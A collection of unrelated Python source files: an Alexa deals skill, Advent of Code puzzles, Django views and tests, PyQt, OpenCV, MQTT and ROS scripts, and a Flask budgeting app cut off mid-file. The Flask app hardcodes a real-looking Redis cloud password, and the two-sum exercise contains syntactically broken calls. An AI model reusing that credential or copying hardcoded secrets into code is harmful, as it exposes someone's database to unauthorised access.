'IN_PROGRESS': return dialog_response('', False) if intent_name == 'GetDeals': return get_all_deals_response(request) elif intent_name == 'GetDealsByCategory': return get_deals_by_category_response(request) elif intent_name == 'GetDealsByBrand': return get_deals_by_brand_response(request) elif intent_name == 'AMAZON.HelpIntent': return get_help_response() elif intent_name == 'AMAZON.StopIntent': return get_stop_response() elif intent_name == 'AMAZON.CancelIntent': return get_stop_response() elif intent_name == 'AMAZON.FallbackIntent': return get_fallback_response(request) else: return get_help_response() def get_all_deals_response(request): logger.info('get all deals request') #TODO could update this to fetch location city, state, street = extract_location(request) sale_items = scrape_all_deals(state, city, street) #interpret scrape response speech_output = SALE_PREFIX + how_to_say(sale_items) return response(speech_response(speech_output, True)) def get_deals_by_category_response(request): logger.info('get deals by category request') city, state, street = extract_location(request) category = get_slot_value('category', request) sale_items_by_category = scrape_for_category(category, state, city, street) speech_output = SALE_PREFIX + how_to_say(sale_items_by_category) return response(speech_response(speech_output, True)) def get_deals_by_brand_response(request): logger.info('get deals by brand request') city, state, street = extract_location(request) brand = get_slot_value('brand', request) sale_items_by_brand = scrape_for_brand(brand, state, city, street) speech_output = SALE_PREFIX + how_to_say(sale_items_by_brand) return response(speech_response(speech_output, True)) def get_launch_response(request): return get_all_deals_response(request) def get_fallback_response(request): speech_output = FALLBACK_MESSAGE return response(speech_response(speech_output, True)) def get_stop_response(): speech_output = '' return response(speech_response(speech_output, True)) def get_help_response(): speech_output = HELP_MESSAGE return response(speech_response(speech_output, True)) def on_launch(request): return get_launch_response(request) def on_session_ended(): print('on_session_ended') # ******* SPEECH RESPONSE HANDLERS ********** def speech_response(output, endsession): return { 'outputSpeech': { 'type': 'PlainText', 'text': output }, 'shouldEndSession': endsession } def dialog_response(attributes, endsession): return { 'version': '1.0', 'sessionAttributes': attributes, 'response':{ 'directives': [ { 'type': 'Dialog.Delegate' } ], 'shouldEndSession': endsession } } def response(speech_message): return { 'version': '1.0', 'response': speech_message } # ********* STRING FORMATTER ********* def how_to_say(item_dict): '''dict structure: key: product type value: (brand, product type, sale price, regular price) ''' sales_string = '' for item in item_dict.keys(): brand, product, sale_price, reg_price = item_dict[item] sales_string += (str(brand) + ' ' + str(product) + ' is on sale for ' + str(sale_price) + '. ') return sales_string # ********* FUNCTIONAL HELPERS ********** def extract_location(request): city = get_slot_value('city', request) state = get_slot_value('state', request) street = None try: street = get_slot_value('street', request) except KeyError: street = '' return city, state, street def get_slot_value(slot, request): return request['intent']['slots'][slot]['value']
import math import itertools values = [(p1, p2) for p1 in range(100) for p2 in range(100) if p1 != p2] done = False i = 0 while not done: f = open("input", "r") array = f.read().split(",") array = [ int(x) for x in array ] array[1] = values[i][0] array[2] = values[i][1] pointer = 0; while(not done): if(array[pointer] == 99): break r1 = array[pointer+1] r2 = array[pointer+2] storeAt = array[pointer+3] if(array[pointer] == 1): array[storeAt] = array[r1]+array[r2] elif(array[pointer] == 2): array[storeAt] = array[r1]*array[r2] pointer += 4 if(array[0] == 19690720): #print(array[0]) print(str(values[i][0])) print(str(values[i][1])) print(100 * values[i][0] +values[i][1] ) i+=1
from ddm.core.base_test import TestCase class CriteriaModelTestCase(TestCase): def test_get_average_weight(self): criterion = self.data.criterion() self.data.weight(user=self.data.user(), criterion=criterion, value=0) self.data.weight(user=self.data.user(), criterion=criterion, value=1) self.data.weight(user=self.data.user(), criterion=self.data.criterion(), value=5) # should be ignored self.assertEqual(criterion.get_average_weight(), 0.5) def test_get_average_score(self): criterion = self.data.criterion() option = self.data.option() self.data.score(user=self.data.user(), criterion=criterion, option=option, value=0) self.data.score(user=self.data.user(), criterion=criterion, option=option, value=1) self.assertEqual(criterion.get_average_score(option), 0.5) def test_get_fitness(self): criterion = self.data.criterion() option = self.data.option() user1 = self.data.user() self.data.weight(user=user1, criterion=criterion, value=5) self.data.score(user=user1, criterion=criterion, option=option, value=5) user2 = self.data.user() self.data.weight(user=user2, criterion=criterion, value=0) self.data.score(user=user2, criterion=criterion, option=option, value=0) self.assertEqual(criterion.get_fitness(option), 12.5) self.assertEqual(criterion.get_fitness_for_user(option, user1), 25) self.assertEqual(criterion.get_fitness_for_user(option, user2), 0) def test_score_variance(self): criterion = self.data.criterion() option = self.data.option() self.data.score(user=self.data.user(), criterion=criterion, option=option, value=5) self.data.score(user=self.data.user(), criterion=criterion, option=option, value=1) self.assertEqual(criterion.get_score_variance(), 8.0) def test_weight_variance(self): criterion = self.data.criterion() self.data.weight(user=self.data.user(), criterion=criterion, value=1) self.data.weight(user=self.data.user(), criterion=criterion, value=5) self.assertEqual(criterion.get_weight_variance(), 8.0)
# Generated by Django 3.0.5 on 2020-11-11 12:06 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('core', '0053_auto_20201111_1058'), ] operations = [ migrations.RenameField( model_name='company', old_name='company_rid', new_name='rid', ), migrations.RenameField( model_name='employee', old_name='employee_rid', new_name='rid', ), migrations.RenameField( model_name='employer', old_name='employer_rid', new_name='rid', ), ]
from PyQt5.QtGui import QPen from PyQt5.QtCore import Qt, QPointF from PyQt5.QtWidgets import QGraphicsPolygonItem, QGraphicsItem from PyQt5 import QtGui import numpy as np import math from edge import Edge from node import Node class SelectionPolygon(QGraphicsPolygonItem): # NOTE! TRUE POSITIONING OFR ANY GIVEN POLYGON COORD IS self.pos() + node.pos() def __init__(self, points, photoviewer): super(SelectionPolygon, self).__init__() self._photoviewer = photoviewer self.id = len(self._photoviewer.selection_polygons) self.row = None self.col = None self._selected = False self._nodes = [] self._edges = [] self._scene = photoviewer.scene self.polygon_points = points polygon = QtGui.QPolygonF(self.polygon_points) self.setPolygon(polygon) self.setPen(QPen(Qt.red, 2, Qt.DashLine, Qt.RoundCap, Qt.RoundJoin)) self.setPos(0, 0) self.setFlag(QGraphicsItem.ItemIsMovable) self.setFlag(QGraphicsItem.ItemSendsGeometryChanges) self.setCacheMode(QGraphicsItem.DeviceCoordinateCache) self.setZValue(1) def centroid(self): sum_point = QPointF(0, 0) for point in self.polygon_points: sum_point += point return QPointF(sum_point.x()/len(self.polygon_points), sum_point.y()/len(self.polygon_points)) def rotate(self, degrees): radians = np.radians(degrees) # todo this could be pulled out for all polygons but it would make it ugly, idk if the optimization is needed cos_deg = math.cos(radians) sin_deg = math.sin(radians) origin = self.centroid() for point, node in zip(self.polygon_points, self._nodes): old_x = point.x() point.setX(origin.x() + cos_deg * (point.x() - origin.x()) - sin_deg * (point.y() - origin.y())) point.setY(origin.y() + sin_deg * (old_x - origin.x()) + cos_deg * (point.y() - origin.y())) node.setPos(point + self.pos()) for edge in self._edges: edge.adjust() polygon = QtGui.QPolygonF(self.polygon_points) self.setPolygon(polygon) def itemChange(self, change, value): if change == QGraphicsItem.ItemPositionHasChanged: p = self.pos() self.setPos(QPointF(round(p.x()), round(p.y()))) for idx in range(0, len(self.polygon_points)): self._nodes[idx].setPos(self.polygon_points[idx] + self.pos()) for edge in self._edges: edge.adjust() return super(SelectionPolygon, self).itemChange(change, value) def update_points_from_nodes(self): self.polygon_points = [node.pos() - self.pos() for node in self._nodes] polygon = QtGui.QPolygonF(self.polygon_points) self.setPolygon(polygon) def select(self): self._selected = True self._photoviewer.add_selected_polygon(self) first_node = Node(self) first_node.setPos(self.polygon_points[0] + self.pos()) self._nodes = [first_node] self._edges = [] self._scene.addItem(first_node) for idx in range(1, len(self.polygon_points)): new_node = Node(self) new_node.setPos(self.polygon_points[idx] + self.pos()) self._scene.addItem(new_node) new_edge = Edge(self._nodes[idx - 1], new_node, self) self._scene.addItem(new_edge) self._nodes.append(new_node) self._edges.append(new_edge) # connect last edge to first new_edge = Edge(self._nodes[len(self._nodes) - 1], self._nodes[0], self) self._scene.addItem(new_edge) self._edges.append(new_edge) def deselect(self): self._selected = False for edge in self._edges: self._scene.removeItem(edge) for node in self._nodes: self._scene.removeItem(node) self._nodes = [] self._edges = [] def mousePressEvent(self, event): if not self._selected: self.select() super(SelectionPolygon, self).mousePressEvent(event) def adjusted_polygon_points(self): return [self.pos() + QPointF(point[0], point[1]) for point in self.polygon_points]
#!/usr/bin/env python3 def expense_report(lines): for line in lines: for other_line in lines: if line == other_line: continue if (int(line) + int(other_line)) == 2020: return str(int(line) * int(other_line)) return "" if __name__ == '__main__': with open('input', 'r') as file: lines = file.readlines() print('Result: ' + str(expense_report(lines)))
# -*- coding: utf-8 -*- """ Created on Mon Sep 30 22:19:55 2019 @author: vismujum """ print("How are you") print (5+7) x = 2 y = 6 z = x + y print ( "Vaue of z is " + str(z)) a = 3 print ( a+1 , a-1) a = 10 #b = 5192L print (7.0 + 0.1) print(str(1.2*3.4)) x = 65//8 print(x) x = 17%9 print(x) x = 2**4 print(x) x = 64 ** (0.5) print (x) b = "v" b+str(4) 6*(1-2) # comment
import socket, time, threading, sys host = '127.0.0.1' port = 31944 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(3.0) try: s.connect((host,port)) except socket.error: print host ,'is offline, stop ' exit() try: while 0 < 100: s.send(sys.stdin.readline()) except socket.error: print host,'is offline, stop ' exit() s.close()
from threading import Event #创建事件对象 e = Event() e.set() e.clear() print(e.is_set()) e.wait(2) print("**********************************************")
from django.contrib.auth.decorators import login_required from django.shortcuts import render, redirect, get_object_or_404 from account.decorators import manager_required from care_point.forms import DecisionFormWard, IllnessFormCheckboxes, ActivityFormCheckboxes from care_point.models import Decision, WardIllness, WardActivity, Illness from care_point.utils import _update_or_create_duties, _prepare_duties_for_decisoin @manager_required def decision(request): decision = Decision.objects.all().order_by('id').reverse() return render(request, 'care_point/decision/decision.html', {'decision': decision}) @manager_required def decision_add(request): if request.method == 'POST': decision_form = DecisionFormWard(data=request.POST) illness_form = IllnessFormCheckboxes(data=request.POST) activity_form = ActivityFormCheckboxes(data=request.POST) if decision_form.is_valid() and illness_form.is_valid() and activity_form.is_valid(): decisoin = decision_form.save(commit=False) decisoin.save() new_decision = decision_form.instance illnesses = illness_form.cleaned_data['illness'] activities = activity_form.cleaned_data['activity'] _update_or_create_duties(decision=new_decision, new_illnesses=illnesses, new_activites=activities) return redirect('care_point:decision') else: return render(request, 'care_point/decision/decision_add.html', {'form': decision_form, 'illness_form': illness_form, 'activity_form': activity_form}) else: decision_form = DecisionFormWard() illness_form = IllnessFormCheckboxes() activity_form = ActivityFormCheckboxes() return render(request, 'care_point/decision/decision_add.html', {'form': decision_form, 'illness_form': illness_form, 'activity_form': activity_form}) @manager_required def decision_details(request, decision_id): decision = get_object_or_404(Decision, pk=decision_id) illnesses, activities = _prepare_duties_for_decisoin(decision) return render(request, 'care_point/decision/decision_details.html', {'decision': decision, 'illness': illnesses, 'activity': activities, }) @manager_required def decision_update(request, decision_id): decision = get_object_or_404(Decision, pk=decision_id) # wyciagnac dane ward_illness_for_decision, ward_activity_for_decision = _prepare_duties_for_decisoin(decision=decision) if request.method == 'POST': decision_form = DecisionFormWard(data=request.POST, instance=decision) illness_form = IllnessFormCheckboxes(data=request.POST) activity_form = ActivityFormCheckboxes(data=request.POST) if request.method == 'POST': if decision_form.is_valid() and illness_form.is_valid() and activity_form.is_valid(): new_illnesses_for_update = illness_form.cleaned_data['illness'] new_activites_for_update = activity_form.cleaned_data['activity'] decision = decision_form.save(commit=False) _update_or_create_duties(decision, new_illnesses_for_update, new_activites_for_update, ward_illness_for_decision, ward_activity_for_decision) decision.save() return redirect('care_point:decision') else: decision_form = DecisionFormWard(instance=decision) illness_form = IllnessFormCheckboxes() activity_form = ActivityFormCheckboxes() return render(request, 'care_point/decision/decision_update.html', {'form': decision_form, 'illness_form': illness_form, 'activity_form': activity_form, 'ward_illness_for_decision': _generate_duties_ids(ward_illness_for_decision), 'ward_activity_for_decision': _generate_duties_ids(ward_activity_for_decision), }) @manager_required def decision_delete(request, decision_id): decision = get_object_or_404(Decision, pk=decision_id) decision.delete() return redirect('care_point:decision') def _generate_duties_ids(duties): ids =[] for d in duties: ids.append(d.id) return ids
#! /usr/bin/env python import cv2 import argparse import numpy as np import logging import math IMAGE = 'face_512x512.png' TRAINING_DATA = 'lbpcascade_frontalface.xml' SCALE_INCREMENT = .02 DETECT_SCALING_FACTOR = 1.1 NEIGHBORS_NEEDED = 2 logging.basicConfig(level=logging.INFO, format="%(message)s") def read_image(image_name): image = cv2.imread(image_name) logging.info("Img W, Img H, Face W, Face H, Scale(%), Result") for scale in np.arange(1, 0, -SCALE_INCREMENT): scaled_image = cv2.resize(image, (0, 0), fx=scale, fy=scale) grey = cv2.cvtColor(scaled_image, cv2.COLOR_BGR2GRAY) face_cascade = cv2.CascadeClassifier() face_cascade.load(TRAINING_DATA) faces = face_cascade.detectMultiScale(grey, DETECT_SCALING_FACTOR, NEIGHBORS_NEEDED) result = (len(faces) > 0) try: w, h = (faces[0][2], faces[0][3]) except: w, h = (-1, -1) logging.info("%d, %d, %d, %d, %d, %s", scaled_image.shape[0], scaled_image.shape[1], w, h, int(math.ceil(scale * 100)), "Found" if result else "Not Found") if __name__ == '__main__': parser = argparse.ArgumentParser(description="Find limits of resolution for face recognition") parser.add_argument('--image', default=IMAGE) args = parser.parse_args() read_image(args.image)
import requests import time import threading import paho.mqtt.client as mqtt import json class Values(object): def __init__(self,cat_url="http://localhost:8000"): try: f = open('config','r') j_data = json.load(f) self.cat_url = j_data['cat_url'] self.bag_id = j_data['bag_id'] f.close() except IOError: self.cat_url =cat_url self.bag_id = None print("Warning! No config file found") self.name = "Secure"+str(self.bag_id) self.pub = [] self.sub= "" self.payload="mode" self.broker = "" self.port = "" def setVals(self,JSObject): self.sub = JSObject['sec_sub'] self.pub = JSObject['sec_pub'] self.payload = JSObject['payload'] self.broker = JSObject['broker'] self.port = JSObject['port'] class Flags(object): def __init__(self,Secure=False,Light=False): self.Secure = Secure self.Light=Light def setSec(self,val): self.Secure = val def setLight(self,val): self.Light=val def getSec(self): return self.Secure def getLight(self): return self.Light class LightThread(threading.Thread): def __init__(self,threadID,name,Flags): threading.Thread.__init__(self) self.threadID = threadID self.ThreadName = name self.Flags = Flags def run(self): self.go = True while self.go: ans = input("Is the light on?") if(ans == 'y' or ans == 'Y'): self.Flags.setLight(True) print("Light turn on") time.sleep(4) self.Flags.setLight(False) def stop(self): self.go = False class Subscriber(object): def __init__(self,clientID,values,flags=Flags()): self.clientID = clientID self.values = values self.mqtt = mqtt.Client(self.clientID,clean_session=True) self.mqtt.on_connect = self.S_onConnect self.mqtt.on_message = self.S_onMessage self.flags = flags def start(self): self.mqtt.connect(self.values.broker,port=self.values.port) self.mqtt.loop_start() self.mqtt.subscribe(str(self.values.sub)) print("Subscribed to topic %s with broker %s" % (self.values.sub,self.values.broker)) def stop(self): self.mqtt.loop_stop() self.mqtt.disconnect() def S_onConnect(self, paho_mqtt, userdata, flags, rc): print ("Connected to message broker with result code: "+str(rc)) def S_onMessage(self, paho_mqtt , userdata, msg): if(self.values.sub == str(msg.topic)): m = json.loads(msg.payload) if(m.get(self.values.payload)): self.flags.setSec(True) else: self.flags.setSec(False) print("\nMessage Received by : " + str(self.clientID) + "\n\t") print ("Topic:'" + msg.topic+"', QoS: '"+str(msg.qos)+"' Message: '"+str(msg.payload) + "'") class Publisher(object): def __init__(self,clientID,values): self.clientID = clientID self.mqtt = mqtt.Client(self.clientID,clean_session=True) self.mqtt.on_connect = self.P_onConnect self.values = values def start(self): self.mqtt.connect(self.values.broker,port =self.values.port) self.mqtt.loop_start() def stop(self): self.mqtt.loop_stop() self.mqtt.disconnect() def pub(self,topic,message): print("\nPublishing message :" + str(message) + " on topic: " + str(topic) + " - " + str(self.clientID)) self.mqtt.publish(topic,message,0) def P_onConnect(self, paho_mqtt, userdata, flags, rc): print("result code is %s" % (rc)) class Monitor(threading.Thread): def __init__(self,threadID,ThreadName,values,flags): threading.Thread.__init__(self) self.threadID = threadID self.ThreadName = ThreadName self.values = values self.publisher = Publisher("LightPub"+str(self.threadID),self.values) self.flags = flags def run(self): self.go = True self.publisher.start() while self.go: if (self.flags.getSec() and self.flags.getLight()): for i in range(3): self.publisher.pub(self.values.pub[0],json.dumps({self.values.payload:True})) print("Publish Light and photo") time.sleep(10) print(self.ThreadName + "ended\n") def stop(self): self.go = False self.publisher.stop() class DevRegister(threading.Thread): def __init__(self,threadID,threadName,values): threading.Thread.__init__(self) self.threadID = threadID self.threadName = threadName self.values = values def run(self): self.starting = True while self.starting: body = {"ID":self.values.name,"bag_id":self.values.bag_id} resp = requests.post(self.values.cat_url+"/dev/",data=json.dumps(body)) print(resp.text) time.sleep(60) self.values.setVals(requests.get(self.values.cat_url+"/bag/"+str(self.values.bag_id)).json()) time.sleep(30) def stop(self): self.starting = False print(self.threadName+" ended") class MainThreadBag(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.values = Values() resp = requests.get(self.values.cat_url+"/bag/"+str(self.values.bag_id)) print(resp.text) self.values.setVals(resp.json()) self.flags = Flags() self.registrar = DevRegister(30 + self.values.bag_id*100,"SecurityRegistrar"+str(self.values.bag_id),self.values) self.subscriber = Subscriber("SecuritySubscriber"+str(self.values.bag_id),self.values,self.flags) self.LightThread = LightThread(self.values.bag_id*100 + 10,"LightThread"+str(self.values.bag_id),self.flags) self.Monitor = Monitor(self.values.bag_id*100 + 20 ,"MonitorThread"+str(self.values.bag_id),self.values,self.flags) def run(self): print("Starting the Main Thread for Bag"+str(self.values.bag_id)) self.registrar.start() self.subscriber.start() self.LightThread.start() self.Monitor.start() self.running = True while self.running: print("\nBag: %d: Sec %s Light %s" % (self.values.bag_id,self.flags.getSec(),self.flags.getLight())) time.sleep(10) def stop(self): self.LightThread.stop() self.Monitor.stop() self.subscriber.stop() self.registrar.stop() print("Ended the Main Thread for Bag"+str(self.values.bag_id)) if __name__ == "__main__": FatherThread = MainThreadBag() FatherThread.start() try: while True: pass except KeyboardInterrupt: FatherThread.stop()
""" Given an array of integers nums and an integer target, return indices of the two numbers such that they add up to target. """ # import List from typing to support hinting in function definition from typing import List class Solution: def two_sum(nums: List[int], target: int) -> List[int]: for i in range(len(nums)): for j in range(i+1, len(nums)): if nums[i] + nums[j] == target: return [i, j] def better_two_sum(nums: List[int], target: int) -> List[int]: for i in range(len(nums)): rem = target - nums[i] if (rem) in nums[i+1:]: return [i, nums[i+1:].index(rem)+i+1] l = [2,7,11,15] print(Solution.two_sum(l, 9)) # output [0,1] print(Solution.two_sum([3,2,4], 6)) # output [1,2] print(Solution.two_sum([2,7,11,15], 9)) # output [0,1] print(Solution.two_sum([[3,3], 6)) # output [0,1] print(Solution.two_sum([[2,5,5,11], 10)) # output [1,2]
#!/usr/bin/env python import roslib; roslib.load_manifest('cob_relayboard') import rospy import time from cob_msgs.msg import EmergencyStopState from cob_msgs.msg import PowerBoardState from std_msgs.msg import Float64 def relayboard_sim(): rospy.init_node('cob_relayboard_sim') # emergency_stop topic pub_em_stop = rospy.Publisher('/emergency_stop_state', EmergencyStopState, queue_size=1) msg_em = EmergencyStopState() msg_em.emergency_button_stop = False msg_em.scanner_stop = False msg_em.emergency_state = 0 # power_board/state topic pub_power_board = rospy.Publisher('/power_board/state', PowerBoardState, queue_size=1) msg_power_board = PowerBoardState() msg_power_board.header.stamp = rospy.Time.now() msg_power_board.run_stop = True msg_power_board.wireless_stop = True #for cob the wireless stop field is misused as laser stop field # power_board/voltage topic pub_voltage = rospy.Publisher('/power_board/voltage', Float64, queue_size=1) msg_voltage = Float64() msg_voltage.data = 48.0 # in simulation battery is always full while not rospy.is_shutdown(): pub_em_stop.publish(msg_em) pub_power_board.publish(msg_power_board) pub_voltage.publish(msg_voltage) rospy.sleep(1.0) if __name__ == '__main__': try: relayboard_sim() except rospy.ROSInterruptException: print "Interupted" pass
#!/usr/bin/env python # -*- coding: utf-8 -*- import os from flask import Flask, request import redis import datetime import datedelta import calendar import json from flask_sslify import SSLify ALL = "All" NEC = "Necessities" EDU = "Education" LTS = "Saving" PLY = "Play" FFA = "Investment" GIV = "Give" ONCE = "Once" DAILY = "Daily" WEEKLY = "Weekly" MONTHLY = "Monthly" ANNUALLY = "Annually" CURRENCY_VND = "VND" CURRENCY_USD = "USD" LANGUAGE_EN = "English" LANGUAGE_VN = "Vietnamese" TRANSACTION_TYPE_INCOME = "Income" TRANSACTION_TYPE_EXPENSE = "Expense" JAR_OPTION = { ALL:'all-option', NEC:'nec-option', EDU:'edu-option', LTS:'lts-option', PLY:'ply-option', FFA:'ffa-option', GIV:'giv-option' } REPEAT_TYPE = { ONCE:'once-type', DAILY:'daily-type', WEEKLY:'weekly-type', MONTHLY:'monthly-type', ANNUALLY:'annually-type' } app = Flask(__name__) sslify = SSLify(app) #VCAP_SERVICES = json.loads(os.environ['VCAP_SERVICES']) #CREDENTIALS = VCAP_SERVICES["rediscloud"][0]["credentials"] #r = redis.Redis(host=CREDENTIALS["hostname"], port=CREDENTIALS["port"], password=CREDENTIALS["password"]) r = redis.Redis(host='redis-16798.c246.us-east-1-4.ec2.cloud.redislabs.com', port='16798', password='Cr6kdgmEUF1ZDbuaYr8lxWbneFHEQtDV') @app.route('/') def WelcomePage(): begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi - Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,6jars,app,money,method,management,cloud,native,application"> <meta name="google-signin-client_id" content="955627858473-0arlet02drea1vfrn2rtndg6d430qdib.apps.googleusercontent.com"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" mid_html = """ <style> html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } #g-signin2 { width: 100%; } #g-signin2 > div { margin: 0 auto; } .bottom-label { display: block; margin-left: auto; margin-right: auto; height: 45px; text-align: center; bottom: 0; position: absolute; width: 100%; font-weight:300; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .image-center { position: absolute; margin: auto; top: 0; left: 0; right: 0; bottom: 0; } .facebook-center { position: absolute; margin: auto; text-align:center; top: calc(100% - 160px); left: 0; right: 0; } .google-center { position: absolute; margin: auto; text-align:center; top: calc(100% - 110px); left: 0; right: 0; } </style> <div class="container"> <div style="width:100%; height:100%"> <img src="static/moneyoi.png" class="image-center" style="width:192px; height:192px;"> <div class="google-center"> <div id="g-signin2"></div> </div> <div class="facebook-center"> <div class="fb-login-button" data-scope="public_profile,email" data-width="254" data-size="large" data-button-type="continue_with" data-auto-logout-link="false" data-use-continue-as="false" data-onlogin="checkLoginState();"> </div> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <div class="bottom-class"> <label class="bottom-label"> <p style="color: white;"> &copy 2019 MoneyOi. <a href="https://moneyoi.io/blogs/moneyoi-quan-ly-6-hu-en/moneyoi-app-privacy-policy" style="color:white; text-decoration: underline;">Privacy Policy</a> <br> <span style="color:TURQUOISE">Powered by Heroku Application Platform</span> </p> </label> </div> <script> function addZero(i) { if (i < 10) { i = "0" + i; } return i; } var user_login = 'google'; function onSignIn(googleUser) { user_login = 'google'; var waiting = document.getElementById('waiting'); waiting.style.display="block"; var user_id = googleUser.getBasicProfile().getId(); var user_email = googleUser.getBasicProfile().getEmail(); var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); var xhr = new XMLHttpRequest(); xhr.open('POST', '/HomePage/'+ user_id + '/' + today, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=WelcomePage'+'&user_email='+user_email+'&user_login='+user_login); } function onFailure(error) { console.log(error); } function renderButton() { gapi.signin2.render('g-signin2', { 'scope': 'profile email', 'width': 254, 'longtitle': true, 'theme': 'dark', 'onsuccess': onSignIn, 'onfailure': onFailure }); } function statusChangeCallback(response) { // The response object is returned with a status field that lets the // app know the current login status of the person. // Full docs on the response object can be found in the documentation // for FB.getLoginStatus(). user_login = 'facebook'; if ((response.status === 'connected') && (user_login ==='facebook')) { // Logged into your app and Facebook. var user_id = response.authResponse.userID; var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); var today = d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); var xhr = new XMLHttpRequest(); xhr.open('POST', '/HomePage/'+ user_id + '/' + today, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; FB.api('/me', {fields: 'email'}, function(response) { xhr.send('sender_id=WelcomePage'+'&user_email='+response.email+'&user_login='+user_login); }); } } window.fbAsyncInit = function() { FB.init({ appId : '392841268177993', cookie : true, xfbml : true, version : 'v6.0' }); FB.getLoginStatus(function(response) { statusChangeCallback(response); }); }; (function(d, s, id){ var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) {return;} js = d.createElement(s); js.id = id; js.src = "https://connect.facebook.net/en_US/sdk.js"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk')); function checkLoginState() { FB.getLoginStatus(function(response) { statusChangeCallback(response); }); } </script> <script src="https://apis.google.com/js/platform.js?onload=renderButton" async defer></script> <div id="fb-root"></div> <script async defer src="https://connect.facebook.net/en_US/sdk.js#xfbml=1&version=v5.0&appId=392841268177993&autoLogAppEvents=1"></script> """ return begin_html + mid_html + end_html @app.route('/HomePage/<user_id>/<today>', methods=['POST']) def HomePage(user_id, today): pre_balance = 0 nec_prebal = 0 edu_prebal = 0 lts_prebal = 0 ply_prebal = 0 ffa_prebal = 0 giv_prebal = 0 income_amt = 0 expense_amt = 0 balance_amt = income_amt - expense_amt + pre_balance nec_income = 0 edu_income = 0 lts_income = 0 ply_income = 0 ffa_income = 0 giv_income = 0 nec_expense = 0 edu_expense = 0 lts_expense = 0 ply_expense = 0 ffa_expense = 0 giv_expense = 0 nec_balance = nec_income - nec_expense + nec_prebal edu_balance = edu_income - edu_expense + edu_prebal lts_balance = lts_income - lts_expense + lts_prebal ply_balance = ply_income - ply_expense + ply_prebal ffa_balance = ffa_income - ffa_expense + ffa_prebal giv_balance = giv_income - giv_expense + giv_prebal nec_pct = 55 edu_pct = 10 lts_pct = 10 ply_pct = 10 ffa_pct = 10 giv_pct = 5 nec_progress = 0 edu_progress = 0 lts_progress = 0 ply_progress = 0 ffa_progress = 0 giv_progress = 0 nec_progress_color = "LIGHTGRAY" edu_progress_color = "LIGHTGRAY" lts_progress_color = "LIGHTGRAY" ply_progress_color = "LIGHTGRAY" ffa_progress_color = "LIGHTGRAY" giv_progress_color = "LIGHTGRAY" currency = CURRENCY_VND language = LANGUAGE_EN percentage = 0 user_email = '' user_login = '' # Get current date for HomePage information dateString = today.split('-') currentDate = datetime.date(int(dateString[0]), int(dateString[1]), int(dateString[2])) current_date = dateString[0]+'-'+dateString[1] print "HomePage:today:"+today print "HomePage:user_id:"+user_id sender_id = request.form['sender_id'] if (sender_id == 'WelcomePage'): user_email = request.form['user_email'] user_login = request.form['user_login'] # check whether if user_id exists or not if (r.hexists(user_id, "currency") == False): print "HomePage:Account not exist" r.hmset(user_id,{ 'nec_pct':nec_pct, 'edu_pct':edu_pct, 'lts_pct':lts_pct, 'ply_pct':ply_pct, 'ffa_pct':ffa_pct, 'giv_pct':giv_pct, 'income_amt':income_amt, 'expense_amt':expense_amt, 'currency':currency, 'nec_income':nec_income, 